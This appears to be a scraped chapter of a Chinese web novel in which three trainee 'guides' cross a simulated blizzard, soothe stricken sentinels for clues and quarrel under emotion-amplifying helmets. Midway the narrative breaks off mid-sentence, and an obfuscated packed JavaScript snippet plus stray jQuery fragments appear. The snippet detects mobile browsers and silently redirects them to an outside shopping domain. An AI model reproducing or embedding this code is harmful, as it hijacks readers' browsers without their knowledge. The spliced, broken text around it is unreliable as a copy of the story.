文趣网 > 其他小说 > 你的精神体真的很缠人 > 21. 全息模拟赛
    江稚羽第一次听说这种比赛,本并不在意,但同桌张银雪听到奖品后,两眼放光:“你是说只要报名参加就都有奖品?”

    江稚羽反问他:“奖品是什么?”

    “奖杯和特权。可以向老师提出一个合理请求。”林阳道,“比如上个月有人提出考核分数加五分,有人提出报名完内推进喜欢的哨兵队长的队伍执行一次任务,有人提出一个月内无限次吃食堂的牛扒肉酱面,还有人提出请假一个星期。老师都同意了。”

    “可以内推进喜欢的队长的队伍?”张银雪两眼放光,“那我可以申请一次陆队长的军事实践队伍吗?”

    “按理来说可以,如果没有别人提出这个请求跟你竞争的话。”林阳注视着江稚羽纠结的神情,询问道,“江同学没有什么想要的吗?”

    江稚羽思索片刻,摇头:“没有。”

    “你可以先参加,把机会留着,日后或许能用到呢?”林阳尝试说服她。

    “稚羽,你陪我一起参加嘛~”张银雪揽着她的胳膊撒娇道,“到时候我们再一起报名陆队长的军事实践啊。”

    “作为参加过一次模拟赛的人来说,这种比赛是比较少有的能在短时间内提升你精神疏导能力的赛事。”林阳倚着课桌,逗着怀中的黑猫,悠闲道,“参赛一次可以收获很多,相当于一个星期学的课程了。”

    “稚羽,报嘛。”张银雪揽着江稚羽的手一顿,转头问林阳,“那是我们三个人组队吗?”

    “三到五个人。如果你们还有其他人选,还能加两个。”

    江稚羽来学院并不久,目前认识的伙伴也仅有张银雪,看她如此想参加,点头同意了:“没人了,就我们三个吧。”

    全息战场模拟赛,是向导学院少有的大型赛事活动,举办时间随机。意在抽查向导们的情绪管理、精神疏导以及面对突发危机的应变能力。被抽到的向导必须参赛,其余人员则自愿报名。

    赛程当日,参赛的向导被带到赛事场地,分组完毕,各自选择一台全息模拟舱。

    舱门缓缓闭合。

    像是坠入了时空漩涡,周身的场景向后飞速倒退,扑面而来本是轻柔舒缓的风,接着,呼啸过耳边的风声逐渐猛烈,密集地敲打耳膜,周身温度骤降。

    眼前白茫茫一片,纷飞的雪从空中簌簌地落下,风雪漫天,呼啸着席卷而来。

    寒风如刀,在狂风中肆意地飞舞,带着刺骨的冷切割着每一寸裸露的皮肤,穿透厚重的衣物。

    江稚羽裹紧防寒外套,揩去脸上的冰碴子,哆嗦着唇问林阳:“小黑猫,这就是你说的轻轻松松,简简单单的模拟赛?”

    呼出的热气瞬间在空气中凝结成冰晶,江稚羽扶稳头上的帽子,感觉自己被戏耍了。

    林阳竖起衣领,回视江稚羽质疑的眼神,露出一个笑,大大方方地承认:“好吧,对于你们新手向导来说,确实不容易。”

    他的言语中带了几分轻视,听得张银雪很不舒服,擦去镜片上的白霜,不满地小声道:“说不定是别人不愿意跟你组队,才来骗我们两个新人。”

    林阳微笑着耸肩,无所谓道:“反正也没退路可言,不如试试,毕竟,事实上,只有第一名的小组才能拿到奖品。”

    “什么?”张银雪睁大双眼,呼啸的风夹杂着冰雪灌入她口腔,喉间阻滞,捂着咳嗽起来,“你……你怎么咳!咳不是说咳,参加就有奖,你、你骗我们?”

    “反正跟你们组队,我也没想拿第一。”林阳拿出一台传感地图,点亮屏幕站起,靴子碾碎鞋底的冰粒,他回过身轻蔑地斜一眼队员,“这种比赛确实能锻炼你们,在这个层面上,我不算骗你们。”

    “林阳!”张银雪气愤地攥紧拳头,江稚羽按住她的背包,沉声道:“算了。先把比赛进行完,回头再找他算账。”

    林阳眼底带上笑:“算你是个聪明人,来吧,复盘一下我们的目标。”

    在模拟出来的极度寒冷的暴风雪中,他们需要穿过危机四伏的冰原,抵抗极度严寒的环境,到达地图中央的冰川实验室遗址。

    实验室内有五台小型恒温仓,只有一台恒温仓内放有被保温着的“种子”,谁也不知道正确的恒温仓是哪一台,但沿途上,每解救一名精神失常的哨兵,就会获得一个真恒温仓的线索。

    向导们的目标就是克服重重阻碍,拿到真恒温仓回到原地。

    听起来似乎极其简单,执行起来却并不容易。成员戴着的头盔是特制的“情绪干扰仪”,会在每名向导的脑海中不断释放干扰因子,或者放大某种情绪,使那些无法镇定地掌控自我情绪、容易失控的向导被情绪裹挟,面临失败。

    同时,冰原里活动着具有攻击性的冰原狼,随时会阻碍前进的脚步。

    顶着肆虐的寒风,踩在雪地上的脚步响起咯吱咯吱的声音,一张口便是刺骨的冷风灌入,三人都闭着嘴沉默地前进,林阳手里的屏幕出现一颗红点。

    他指了一个方向,示意右前方三百米左右有生命体的痕迹。

    第一个哨兵蜷缩在雪堆旁,林阳把传感地图屏幕递给江稚羽,正要上前为他疏导,胳膊却被拽住。

    “等等。”江稚羽按住他,皱眉道,“他身下冰层有裂纹。”

    周身的藤蔓在她说话的同时向前飞出,缠绕伤员的四肢,微一拖动,他身下的冰层就以肉眼可见的速度慢慢裂开。

    林阳心有余悸地转头看她一眼,要不是江稚羽提醒得及时,着急上前的他就要一脚踩上冰面,跟那伤员一起掉到冰窟里了。

    只是他不久前才承认骗了她,她这么好心,还愿意帮他?

    也是。他们现在都是一条船上的蚂蚱,一荣俱荣,一损俱损,眼下害他纯粹是发泄情绪,除了让关系更加恶化不能带来任何好处。

    江稚羽用藤蔓把那名昏迷的哨兵放平躺,缓缓地拖到冰层厚实的安全地带,林阳才上前,抚上他的额头。

    江稚羽和张银雪窝在一起,在酷寒的风雪中报团取暖,时间流逝,不知过去多久。那哨兵的身体变得逐渐透明,身体像碎片一样片片脱落,揉碎在风雪中,缓缓消失殆尽。

    林阳疏导完毕,哨兵的精神图景里浮出两个字,他记下后,抽出意识,声中带着犹豫:“木星?”

    木星?

    江稚羽垂眸思索,没想出个所以然来,张银雪提议道:“我们应该再疏导几名。”

    “没错。一条肯定不够。”林阳站起身,“接着找伤员。”

    三人按着地图仪继续前进,无边无际的雪原里茫茫一整片的白,天地的边界模糊地混在一起,在数不清的雪堆和乱石冰晶后,张银雪眼尖地发现乱石从内的人影。

    “你来吧。”林阳将疏导机会让给江稚羽,江稚羽摸着乱石攀着石柱,手脚并用地翻过石堆,抚上伤员的额头,意识穿进对方的精神图景。

    又一阵难熬的疏导和等待,寒冷的风吹得张银雪瑟瑟发抖,不停地朝江稚羽的方向张望。时间一分一秒地流逝,也许只过了不到十五分钟,张银雪却觉得过了一个下午那样漫长。

    她回忆傅沉教她的疏导方式,沉静下心,感悟精神图景内的自然,汇聚风力,清理走大型杂物,又呼唤降雨,淅淅沥沥地冲刷走垃圾。

    手心里哨兵的身体开始透明消散,他的精神图景里浮出线索。

    江稚羽从

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594128|204770||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    乱石堆里艰难地攀爬,面上却并没有得到线索后的欣喜,抹去脸上的冰霜碎渣,吸了吸鼻子,皱起眉头道:“空的。”

    “什么意思?”林阳的面色也沉下来,“你说疏导完什么都没有?”

    “对,空线索。”江稚羽拿过他手中的传感地图,补充道,“可能是为了混淆视听,有些疏导完没出线索,纯粹浪费我们的时间。”

    “你确定?”林阳不死心地追问,“你是不是忽略了什么?”

    江稚羽点亮传感地图寻找下一个红点的位置,闻言回头,坦然的目光直直地投过去,“你有功夫质疑队友,不如抓紧时机赶紧找下一个。”

    林阳自知自己过于着急而语气不善,忙快步追上去解释:“我不是这个意思,我没质疑你。”

    三人朝着下一个红点的方向继续寻找线索,快要靠近红点时,雪地里传来杂乱的人声。

    “我们早就发现他了,你们慢来的抢什么抢?”

    “他妈的,敢跟老子抢线索,你们也不撒泡尿照照自己什么德行。”

    “你给我滚开!臭不要脸的玩意,这是我们先发现的。”

    “你们也配?他身上是写了你的名字还是他求你疏导了?你们再抢试试?”

    巨大的石壁后,林阳转身坐正,若有所思道:“两队向导,争线索吵起来了。”

    “吵那么凶?”江稚羽从石壁后微微探头,看着两伙人争执的声音越来越大,几乎穿透了风雪的呼啸传来,眼瞅着言语无法起到任何作用,两队中有人开始撸起袖子,怒气冲冲地打了起来。

    至于吗?又不是只剩这一个线索。为什么每个人的情绪都这么激动?

    江稚羽蓦然发觉他们头上戴着的情绪干扰仪,心中了然。

    每个人戴着的头盔虽然能起到防风护目的作用,也会影响到向导们的情绪。看来这些人都被干扰了,心中的一簇怒火一经点燃,便不受控制地熊熊燃烧,他们情绪愈发激动,从争执不休演变到最后,七八个向导在雪地里大打出手。

    “我们肯定打不过他们,还是赶紧走吧?”张银雪听着雪地里越来越激烈地打斗声,声音里略带担忧。

    江稚羽仍在观察那群针锋相对的向导,林阳凝眉不语,张银雪抿了抿唇,再次催促道:“我们还是赶紧走吧,要是一会被他们发现了,连带着我们也一起挨打怎么办?”

    “走走走!你就知道知难而退?你知道找一条线索要花费多少功夫吗?”沉默良久的林阳突然勃然大怒,对张银雪三番五次的胆怯退缩很是不满,眉毛竖起,大声斥道。

    张银雪被他陡然的火气吓得缩了缩头,委屈如潮水般涌上心头,瘪着嘴角欲哭无泪。

    林阳看她这副一被怒斥就吓得蓄眼泪的表情,心中的怒火烧得更盛:“就知道哭!什么也不会,只会畏首畏尾,跟你的豚鼠一样胆小!”

    “我……我也想帮你们啊,可是你又不让我插手……”张银雪的眼泪在眼眶里打转,哭腔带上颤音,说着说着,两颗豆大的眼泪顺着脸颊滑下来,在冰雪的映照下闪着晶莹。

    “林阳。”江稚羽回头喝止道,“现在不是吵架的时候,那些向导都被仪器干扰了,你们不要被影响。”

    “我没有被干扰,我说的是事实。”林阳怒目横眉,瞪着张银雪恨恨道,“你自己看你这一路都干了什么,什么也没干,除了拖我们后腿只会哭,没用的废物。”

    张银雪情绪崩溃,放声大哭,声泪俱下道:“我不是废物……呜呜呜……我会疏导啊,你倒是让我干啊……”

    江稚羽连忙抬手捂住她的嘴,正色道:“别哭银雪,我们需要你。你有用的,叫歪歪出来。”